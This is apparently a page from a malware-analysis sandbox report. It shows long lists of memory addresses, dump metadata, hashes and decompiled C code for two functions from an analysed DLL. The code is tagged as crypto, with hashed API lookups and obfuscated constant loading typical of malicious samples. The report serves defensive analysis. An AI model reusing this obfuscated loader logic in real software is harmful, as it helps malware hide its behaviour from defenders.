0x70a99b55
0x70a99b5a
0x70a99b63
0x70a99b6b
0x70a99b70
0x70a99b77
0x70a99b84
0x70a99b86
0x70a9a1bf
0x70a9a1c6
0x70a9a1d2
0x00000000
0x70a9a1d2
0x70a99b8c
0x70a99b95
0x70a99b98
0x70a99db0
0x70a99db0
0x70a99dbb
0x70a99ddf
0x70a99de1
0x00000000
0x00000000
0x70a99de7
0x70a99dec
0x70a99df3
0x70a99e00
0x70a99e02
0x00000000
0x00000000
0x70a99e08
0x70a99e11
0x70a99e12
0x70a99e14
0x70a99e17
0x00000000
0x00000000
0x00000000
0x70a99e19
0x70a99e1e
0x70a99e29
0x70a99e29
0x70a99e2e
0x70a99e35
0x70a99e3c
0x70a99e43
0x70a99e48
0x70a99e53
0x70a99e55
0x00000000
0x00000000
0x70a99e5b
0x70a99e60
0x70a99e67
0x70a99e74
0x70a99e76
0x00000000
0x00000000
0x70a99e7c
0x70a99e85
0x70a99e86
0x70a99e88
0x70a99e8b
0x00000000
0x00000000
0x00000000
0x70a99e8d
0x70a99e9b
0x70a99ea3
0x70a99eae
0x70a99eb5
0x70a99ebc
0x70a99ec0
0x70a99ec4
0x70a99eca
0x70a99ed5
0x70a99ee0
0x70a99ee5
0x70a99ee7
0x00000000
0x00000000
0x70a99eed
0x70a99ef8
0x70a99f0e
0x70a99f1e
0x70a99f20
0x00000000
0x00000000
0x70a99f26
0x70a99f2b
0x70a99f32
0x70a99f3f
0x70a99f41
0x00000000
0x00000000
0x70a99f47
0x70a99f50
0x70a99f51
0x70a99f53
0x70a99f56
0x00000000
0x00000000
0x00000000
0x70a99f58
0x70a99f5d
0x70a99f68
0x70a99f71
0x70a99f84
0x70a99f85
0x70a99f8c
0x70a99f93
0x70a99f9a
0x70a99f9b
0x70a99fa6
0x70a99fa8
0x00000000
0x00000000
0x70a99fae
0x70a99fb3
0x70a99fba
0x70a99fc7
0x70a99fc9
0x00000000
0x00000000
0x70a99fcf
0x70a99fd8
0x70a99fd9
0x70a99fdb
0x70a99fde
0x00000000
0x00000000
0x00000000
0x70a99fe0
0x70a9a000
0x70a9a005
0x70a9a007
0x00000000
0x00000000
0x70a9a016
0x70a9a022
0x70a9a02d
0x70a9a039
0x70a9a043
0x70a9a043
0x70a9a046
0x70a9a04e
0x70a9a05a
0x70a9a069
0x70a9a071
0x70a9a074
0x70a9a07d
0x70a9a08d
0x70a9a092
0x70a9a09d
0x70a9a0a6
0x70a9a0b9
0x70a9a0ba
0x70a9a0c1
0x70a9a0c8
0x70a9a0cf
0x70a9a0d0
0x70a9a0db
0x70a9a0dd
0x00000000
0x00000000
0x70a9a0e3
0x70a9a0e8
0x70a9a0ef
0x70a9a0fa
0x70a9a0fc
0x70a9a1b3
0x70a9a1ba
0x00000000
0x70a9a1ba
0x70a9a102
0x70a9a10b
0x70a9a10c
0x70a9a10e
0x70a9a111
0x00000000
0x00000000
0x00000000
0x70a9a113
0x70a9a118
0x70a9a123
0x70a9a123
0x70a9a126
0x70a9a12a
0x70a9a134
0x70a9a138
0x70a9a13f
0x70a9a14a
0x70a9a14e
0x70a9a158
0x70a9a162
0x70a9a166
0x70a9a16c
0x70a9a177
0x70a9a179
0x00000000
0x00000000
0x70a9a183
0x70a9a188
0x70a9a18f
0x70a9a19a
0x70a9a19c
0x00000000
0x00000000
0x70a9a19e
0x70a9a1a7
0x70a9a1a8
0x70a9a1aa
0x70a9a1ad
0x00000000
0x00000000
0x00000000
0x70a9a1ad
0x70a9a200
0x70a9a202
0x70a9a209
0x70a9a20e
0x70a9a211
0x70a9a21f
0x70a9a230
0x70a9a23c
0x70a9a248
0x70a9a254
0x70a9a260
0x70a9a26c
0x70a9a275
0x70a9a27e
0x70a9a287
0x70a9a28e
0x00000000
0x70a9a290
0x70a99b9e
0x70a99ba9
0x70a99bb2
0x70a99bb7
0x70a99bc3
0x70a99bc4
0x70a99bd4
0x70a99be2
0x70a99bf5
0x70a99c01
0x70a99c0d
0x70a99c19
0x70a99c20
0x70a99c23
0x70a99c2e
0x70a99c30
0x70a99cdb
0x70a99cdb
0x70a99cde
0x70a99ce7
0x70a99ceb
0x70a99cef
0x70a99cf5
0x70a99cf9
0x70a99d05
0x70a99d0f
0x70a99d13
0x70a99d19
0x70a99d1f
0x70a99d24
0x70a99d26
0x70a99d3e
0x70a99d4a
0x70a99d5e
0x70a99d63
0x70a99d6c
0x70a99d6f
0x00000000
0x00000000
0x70a99d75
0x70a99d7a
0x70a99d81
0x70a99d8e
0x70a99d90
0x00000000
0x00000000
0x00000000
0x70a99d90
0x70a99d28
0x70a99d2f
0x00000000
0x70a99d2f
0x70a99c36
0x70a99c41
0x70a99c4f
0x70a99c54
0x70a99c56
0x70a99c59
0x70a99c62
0x70a99c66
0x70a99c6e
0x70a99c74
0x70a99c78
0x70a99c7e
0x70a99c8b
0x70a99c8f
0x70a99c93
0x70a99c9b
0x70a99ca1
0x70a99ca6
0x70a99ca8
0x00000000
0x00000000
0x70a99cac
0x70a99cad
0x70a99cb2
0x70a99cbc
0x70a99cc3
0x70a99cce
0x70a99cd5
0x00000000
0x00000000
0x00000000
0x70a99cd5
0x00000000
0x70a99d96
0x70a99d96
0x70a99d9f
0x70a99da0
0x70a99da2
0x70a99da2
0x00000000
0x70a99dab
0x70a99449
0x70a9944d
0x70a99456
0x70a9945f
0x00000000

Strings

$EA, xrefs: 70A991E1

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $EA
API String ID: 0-4251458306
Opcode ID: 7f179fca797ed7d06bf2a9814bd0771f5b5834a4ee139eec9972b3300079e773
Instruction ID: 2bd306e5e1db42229c139375714955ab27d8745ab71d366b7be45b432aae2e95
Opcode Fuzzy Hash: 7f179fca797ed7d06bf2a9814bd0771f5b5834a4ee139eec9972b3300079e773
Instruction Fuzzy Hash: C3A2A0716243419FC721DF24C981BDEB7F4AFA6300F108A2DF4899B1A5EF31A949CB56

Uniqueness

Uniqueness Score: -1.00%

Function 70A91494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E70A91494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				void* _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E70A9F620( &_v72, 0);
				_v60 = 0x22dc1034;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v76, E70A9F568( &_v76) + 0x10);
				E70A9F558( &_v80, E70A9F568( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0x853cdd04;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v84, E70A9F568(_t325) + 0x10);
				E70A9F558( &_v88, E70A9F568( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xb162dc4e;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v92, E70A9F568(_t329) + 0x10);
				E70A9F558( &_v96, E70A9F568( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0xc15ccc53;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v100, E70A9F568(_t333) + 0x10);
				E70A9F558( &_v104, E70A9F568( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0xc8fc2de6;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v108, E70A9F568(_t337) + 0x10);
				E70A9F558( &_v112, E70A9F568( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x7d07f92f;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v116, E70A9F568(_t341) + 0x10);
				E70A9F558( &_v120, E70A9F568( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v124 + 0x10)) = 0xfc7fa539;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v124, E70A9F568(_t345) + 0x10);
				E70A9F558( &_v128, E70A9F568( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x4145240a;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v132, E70A9F568(_t349) + 0x10);
				E70A9F558( &_v136, E70A9F568( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x2c2324e8;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v140, E70A9F568(_t353) + 0x10);
				E70A9F558( &_v144, E70A9F568( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xf06b4c6b;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v148, E70A9F568(_t357) + 0x10);
				E70A9F558( &_v152, E70A9F568( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xa54975b2;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v156, E70A9F568(_t361) + 0x10);
				E70A9F558( &_v160, E70A9F568( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0x563e1998;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v164, E70A9F568(_t365) + 0x10);
				E70A9F558( &_v168, E70A9F568( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0xd926c223;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v172, E70A9F568(_t369) + 0x10);
				E70A9F558( &_v176, E70A9F568( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0x80febacc;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v180, E70A9F568(_t373) + 0x10);
				E70A9F558( &_v184, E70A9F568( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0x98595b64;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v188, E70A9F568(_t377) + 0x10);
				E70A9F558( &_v192, E70A9F568( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0x8e3b5f9c;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v196, E70A9F568(_t381) + 0x10);
				E70A9F558( &_v200, E70A9F568( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0x9b42cb07;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v204, E70A9F568(_t385) + 0x10);
				E70A9F558( &_v208, E70A9F568( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E70AA413C(0xa5eabdf8, _t434);
				E70A9F558( &_v212, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
				E70A9F558( &_v216, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E70A9F558( &_v220, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E70A9F558( &_v224, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E70A9F558( &_v228, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E70A9F558( &_v232, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E70A9F558( &_v236, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E70A9F558( &_v240, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E70A9F558( &_v244, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E70A9F558( &_v248, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E70A9F558( &_v252, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E70A9F558( &_v256, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E70A9F558( &_v260, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E70A9F558( &_v264, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E70A9F558( &_v268, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E70A9F558( &_v272, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E70A9F558( &_v276, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v252 = E70A91D2C(_v248, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E70A9B338( &_v248, _v256, _t481, _v252, _t318);
				E70A9F8DC( &_v296, _t481);
				_v300 = 0;
				_t410 =  &_v296;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v296 + 0x10)) = 0xfb42c037;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v296, E70A9F568(_t410) + 0x10);
				E70A9F558( &_v300, E70A9F568( &_v300) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v308 = _v308 + 1;
				_t414 =  &_v304;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v304 + 0x10)) = 0x7082aaf3;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v304, E70A9F568(_t414) + 0x10);
				E70A9F558( &_v308, E70A9F568( &_v308) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v316 = _v316 + 1;
				_t418 =  &_v312;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v312 + 0x10)) = 0x1eeb5e35;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v312, E70A9F568(_t418) + 0x10);
				E70A9F558( &_v316, E70A9F568( &_v316) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v324 = _v324 + 1;
				_t422 =  &_v320;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v320 + 0x10)) = 0xe856fc47;
				asm("movq [ecx+0x18], xmm0");
				E70A9F8C4( &_v320, E70A9F568(_t422) + 0x10);
				E70A9F558( &_v324, E70A9F568( &_v324) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v292);
				_t154 = _t310 + 0x2c; // 0x2c
				E70A9BAB8(_t154,  *_t480);
				E70A9F558( &_v340, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0");
				E70A9F558( &_v344, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E70A9F558( &_v348, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E70A9F558( &_v352, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E70A9F6F0( &_v316);
				return E70A9F6F0( &_v356);
			}

0x70a91494
0x70a91498
0x70a9149d
0x70a914a3
0x70a914ab
0x70a914b0
0x70a914bc
0x70a914c0
0x70a914d2
0x70a914e8
0x70a914f3
0x70a914f4
0x70a914f5
0x70a914f6
0x70a914f7
0x70a914fa
0x70a914fe
0x70a91502
0x70a91509
0x70a9151b
0x70a91531
0x70a9153c
0x70a9153d
0x70a9153e
0x70a9153f
0x70a91540
0x70a91543
0x70a91547
0x70a9154b
0x70a91552
0x70a91564
0x70a9157a
0x70a91585
0x70a91586
0x70a91587
0x70a91588
0x70a91589
0x70a9158c
0x70a91590
0x70a91594
0x70a9159b
0x70a915ad
0x70a915c3
0x70a915ce
0x70a915cf
0x70a915d0
0x70a915d1
0x70a915d2
0x70a915d5
0x70a915d9
0x70a915dd
0x70a915e4
0x70a915f6
0x70a9160c
0x70a91617
0x70a91618
0x70a91619
0x70a9161a
0x70a9161b
0x70a9161e
0x70a91622
0x70a91626
0x70a9162d
0x70a9163f
0x70a91655
0x70a91660
0x70a91661
0x70a91662
0x70a91663
0x70a91664
0x70a91667
0x70a9166b
0x70a9166f
0x70a91676
0x70a91688
0x70a9169e
0x70a916a9
0x70a916aa
0x70a916ab
0x70a916ac
0x70a916ad
0x70a916b0
0x70a916b4
0x70a916b8
0x70a916bf
0x70a916d1
0x70a916e7
0x70a916f2
0x70a916f3
0x70a916f4
0x70a916f5
0x70a916f6
0x70a916f9
0x70a916fd
0x70a91701
0x70a91708
0x70a9171a
0x70a91730
0x70a9173b
0x70a9173c
0x70a9173d
0x70a9173e
0x70a9173f
0x70a91742
0x70a91746
0x70a9174a
0x70a91751
0x70a91763
0x70a91779
0x70a91784
0x70a91785
0x70a91786
0x70a91787
0x70a91788
0x70a9178b
0x70a9178f
0x70a91793
0x70a9179a
0x70a917ac
0x70a917c2
0x70a917cd
0x70a917ce
0x70a917cf
0x70a917d0
0x70a917d1
0x70a917d4
0x70a917d8
0x70a917dc
0x70a917e3
0x70a917f5
0x70a9180b
0x70a91816
0x70a91817
0x70a91818
0x70a91819
0x70a9181a
0x70a9181d
0x70a91821
0x70a91825
0x70a9182c
0x70a9183e
0x70a91854
0x70a9185f
0x70a91860
0x70a91861
0x70a91862
0x70a91863
0x70a91866
0x70a9186a
0x70a9186e
0x70a91875
0x70a91887
0x70a9189d
0x70a918a8
0x70a918a9
0x70a918aa
0x70a918ab
0x70a918ac
0x70a918af
0x70a918b3
0x70a918b7
0x70a918be
0x70a918d0
0x70a918e6
0x70a918f1
0x70a918f2
0x70a918f3
0x70a918f4
0x70a918f5
0x70a918f8
0x70a918fc
0x70a91900
0x70a91907
0x70a91919
0x70a9192f
0x70a9193a
0x70a9193b
0x70a9193c
0x70a9193d
0x70a9193e
0x70a91941
0x70a91945
0x70a91949
0x70a91950
0x70a91962
0x70a91978
0x70a91983
0x70a91984
0x70a91985
0x70a91986
0x70a9198c
0x70a9198f
0x70a91991
0x70a9199c
0x70a919a3
0x70a919ac
0x70a919b4
0x70a919bb
0x70a919c4
0x70a919cc
0x70a919d3
0x70a919dc
0x70a919e4
0x70a919eb
0x70a919f4
0x70a919fc
0x70a91a03
0x70a91a0c
0x70a91a14
0x70a91a1b
0x70a91a24
0x70a91a2c
0x70a91a36
0x70a91a3f
0x70a91a47
0x70a91a51
0x70a91a5a
0x70a91a62
0x70a91a6c
0x70a91a75
0x70a91a7d
0x70a91a87
0x70a91a90
0x70a91a98
0x70a91aa2
0x70a91aab
0x70a91ab3
0x70a91abd
0x70a91ac6
0x70a91ace
0x70a91ad8
0x70a91ae1
0x70a91ae9
0x70a91af3
0x70a91afc
0x70a91b04
0x70a91b0e
0x70a91b17
0x70a91b1f
0x70a91b26
0x70a91b2f
0x70a91b37
0x70a91b3e
0x70a91b43
0x70a91b51
0x70a91b55
0x70a91b64
0x70a91b6d
0x70a91b72
0x70a91b79
0x70a91b7d
0x70a91b81
0x70a91b88
0x70a91b9a
0x70a91bb0
0x70a91bbb
0x70a91bbc
0x70a91bbd
0x70a91bbe
0x70a91bbf
0x70a91bc2
0x70a91bc6
0x70a91bca
0x70a91bd1
0x70a91be3
0x70a91bf9
0x70a91c04
0x70a91c05
0x70a91c06
0x70a91c07
0x70a91c08
0x70a91c0b
0x70a91c0f
0x70a91c13
0x70a91c1a
0x70a91c2c
0x70a91c42
0x70a91c4d
0x70a91c4e
0x70a91c4f
0x70a91c50
0x70a91c51
0x70a91c54
0x70a91c58
0x70a91c5c
0x70a91c63
0x70a91c75
0x70a91c8b
0x70a91c96
0x70a91c97
0x70a91c98
0x70a91c99
0x70a91c9a
0x70a91c9d
0x70a91ca0
0x70a91ca1
0x70a91ca2
0x70a91ca9
0x70a91cac
0x70a91cb7
0x70a91cbe
0x70a91cc7
0x70a91ccf
0x70a91cd6
0x70a91cdf
0x70a91ce7
0x70a91cee
0x70a91cf7
0x70a91cff
0x70a91d04
0x70a91d0d
0x70a91d15
0x70a91d2a

Strings

$#,, xrefs: 70A91701

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $#,
API String ID: 0-2557146312
Opcode ID: 4b8ae4913f86a53175860b557c771183a6c2e3e941c8b6c0c6c17337cf6f9eef
Instruction ID: 7863bda4dde9640679d081eae3f3a21c1870d4f154d6fb9da16f28e57d3ce890
Opcode Fuzzy Hash: 4b8ae4913f86a53175860b557c771183a6c2e3e941c8b6c0c6c17337cf6f9eef
Instruction Fuzzy Hash: 9332DEB24147069ECB05DF20CD5299FB3F0AFA2205F118B0DB4992A1B5FF71FA9AC645

Uniqueness

Uniqueness Score: -1.00%

Function 70A9A5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E70A9A5A4(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E70A9B714(_t439 + 0x24, _t392, 0x7fffffff);
					if(E70A9F56C(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E70A9F6F0(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E70AA218C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E70A9F6F0(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E70A9F620(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E70A9F620(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x70aab7a8]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E70AA2F8C(0xa5eabdf8, 0xd1a06a90);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E70A9F558( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E70A9F558( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E70A9B680(_t439 + 0x34);
											E70A9B680(_t439 + 8);
											goto L65;
										}
										L62:
										E70A9B680(_t439 + 0x34);
										E70A9B680(_t439 + 8);
										goto L63;
									}
									_t392 = E70A9F558(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E70A9CB48(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E70A9C33C(_t324);
									if(__eflags != 0) {
										break;
									}
